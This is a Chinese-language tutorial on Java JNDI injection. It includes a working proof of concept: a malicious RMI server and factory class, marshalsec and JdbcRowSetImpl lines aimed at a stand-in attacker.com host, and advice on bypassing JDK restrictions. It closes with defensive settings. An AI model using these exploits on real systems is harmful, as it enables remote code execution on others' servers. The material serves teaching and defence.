JNDI注入原理及利用
字数 1361 2025-08-25 22:58:35

JNDI注入原理及利用详解

1. JNDI基础概念

Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,允许客户端通过name发现和查找数据和对象。其应用场景包括动态加载数据库配置文件等。

基本代码格式:

String jndiName = ...; // 指定需要查找的name名称
Context context = new InitialContext(); // 初始化默认环境
DataSource ds = (DataSource)context.lookup(jndiName); // 查找该name的数据

JNDI支持多种命名和目录服务:

  • 远程方法调用(RMI)
  • 轻型目录访问协议(LDAP)
  • 通用对象请求代理体系结构(CORBA)
  • 域名服务(DNS)

2. JNDI注入原理

JNDI注入漏洞发生在当lookup()方法的参数可控时,攻击者可以通过构造恶意的JNDI地址,导致远程class文件加载,从而实现远程代码执行。

2.1 基本利用流程

  1. 攻击者搭建恶意RMI/LDAP服务
  2. 服务指向攻击者控制的远程class文件
  3. 受害者应用执行可控的lookup()方法
  4. 受害者从攻击者服务器加载并执行恶意class

2.2 漏洞代码示例

// 受害者代码
String uri = "rmi://127.0.0.1:1099/aa"; // 可控参数
Context ctx = new InitialContext();
ctx.lookup(uri);

3. 完整利用演示

3.1 攻击者服务端代码

// SERVER.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class SERVER {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("aa", refObjWrapper);
    }
}

3.2 恶意class文件

// ExecTest.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, 
                                   Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }
}

3.3 利用步骤

  1. 编译恶意class文件:javac ExecTest.java
  2. 部署恶意class文件到web服务器:python -m http.server 8081
  3. 运行攻击者RMI服务端
  4. 受害者执行漏洞代码

4. 技术原理分析

4.1 调用流程

  1. InitialContext.lookup()根据协议头返回对应协议的环境对象
  2. 进入对应协议的lookup()方法
  3. 与注册中心通讯获取服务信息
  4. 如果是Reference对象,会与RMI服务器连接获取远程class文件地址
  5. 使用NamingManager.getObjectInstance()加载并实例化远程class

4.2 关键代码点

// NamingManager.java
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) {
    // 尝试从本地加载class
    try {
        clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // 如果本地不存在,从codebase中获取
        String codebase = ref.getFactoryClassLocation();
        if (clas == null && codebase != null) {
            clas = helper.loadClass(factoryName, codebase);
        }
    }
    // 实例化恶意class
    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

5. 利用工具简化

使用marshalsec工具快速搭建RMI/LDAP服务:

# 启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit 1099

# 启动LDAP服务 
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exploit 1389

6. 间接利用链 - JdbcRowSetImpl

即使没有直接的lookup()方法调用,也可以通过其他类间接触发JNDI注入:

// 利用JdbcRowSetImpl触发JNDI注入
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://attacker.com/Exploit");
jdbcRowSet.setAutoCommit(true); // 触发连接和lookup

7. 版本限制与绕过

7.1 版本限制

  • JDK 6u132, 7u122, 8u113开始:

    • com.sun.jndi.rmi.object.trustURLCodebase默认false
    • 禁止从远程Codebase加载Reference工厂类
  • JDK 11.0.1, 8u191, 7u201, 6u211开始:

    • com.sun.jndi.ldap.object.trustURLCodebase默认false
    • 限制LDAP Reference远程加载

7.2 利用建议

  1. 优先使用LDAP协议而非RMI(限制更少)
  2. 在受限版本中,可以尝试:
    • 利用本地存在的gadget chain
    • 利用其他反序列化漏洞配合
    • 查找应用自带的可利用工厂类

8. LDAP+JNDI注入

LDAP注入与RMI注入原理类似,但受版本限制较少:

// 受害者代码
String uri = "ldap://127.0.0.1:1389/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);

9. 防御措施

  1. 升级JDK到最新安全版本
  2. 避免使用不可信的JNDI名称
  3. 设置系统属性限制远程加载:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  4. 对用户输入进行严格过滤

10. 总结

JNDI注入是一种严重的Java安全漏洞,允许攻击者实现远程代码执行。理解其原理和利用方式对于安全开发和渗透测试都至关重要。在实际利用中需要考虑Java版本限制,并选择合适的利用链和协议。

JNDI注入原理及利用详解 1. JNDI基础概念 Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,允许客户端通过name发现和查找数据和对象。其应用场景包括动态加载数据库配置文件等。 基本代码格式: JNDI支持多种命名和目录服务: 远程方法调用(RMI) 轻型目录访问协议(LDAP) 通用对象请求代理体系结构(CORBA) 域名服务(DNS) 2. JNDI注入原理 JNDI注入漏洞发生在当 lookup() 方法的参数可控时,攻击者可以通过构造恶意的JNDI地址,导致远程class文件加载,从而实现远程代码执行。 2.1 基本利用流程 攻击者搭建恶意RMI/LDAP服务 服务指向攻击者控制的远程class文件 受害者应用执行可控的 lookup() 方法 受害者从攻击者服务器加载并执行恶意class 2.2 漏洞代码示例 3. 完整利用演示 3.1 攻击者服务端代码 3.2 恶意class文件 3.3 利用步骤 编译恶意class文件: javac ExecTest.java 部署恶意class文件到web服务器: python -m http.server 8081 运行攻击者RMI服务端 受害者执行漏洞代码 4. 技术原理分析 4.1 调用流程 InitialContext.lookup() 根据协议头返回对应协议的环境对象 进入对应协议的 lookup() 方法 与注册中心通讯获取服务信息 如果是Reference对象,会与RMI服务器连接获取远程class文件地址 使用 NamingManager.getObjectInstance() 加载并实例化远程class 4.2 关键代码点 5. 利用工具简化 使用marshalsec工具快速搭建RMI/LDAP服务: 6. 间接利用链 - JdbcRowSetImpl 即使没有直接的 lookup() 方法调用,也可以通过其他类间接触发JNDI注入: 7. 版本限制与绕过 7.1 版本限制 JDK 6u132, 7u122, 8u113开始: com.sun.jndi.rmi.object.trustURLCodebase 默认false 禁止从远程Codebase加载Reference工厂类 JDK 11.0.1, 8u191, 7u201, 6u211开始: com.sun.jndi.ldap.object.trustURLCodebase 默认false 限制LDAP Reference远程加载 7.2 利用建议 优先使用LDAP协议而非RMI(限制更少) 在受限版本中,可以尝试: 利用本地存在的gadget chain 利用其他反序列化漏洞配合 查找应用自带的可利用工厂类 8. LDAP+JNDI注入 LDAP注入与RMI注入原理类似,但受版本限制较少: 9. 防御措施 升级JDK到最新安全版本 避免使用不可信的JNDI名称 设置系统属性限制远程加载: 对用户输入进行严格过滤 10. 总结 JNDI注入是一种严重的Java安全漏洞,允许攻击者实现远程代码执行。理解其原理和利用方式对于安全开发和渗透测试都至关重要。在实际利用中需要考虑Java版本限制,并选择合适的利用链和协议。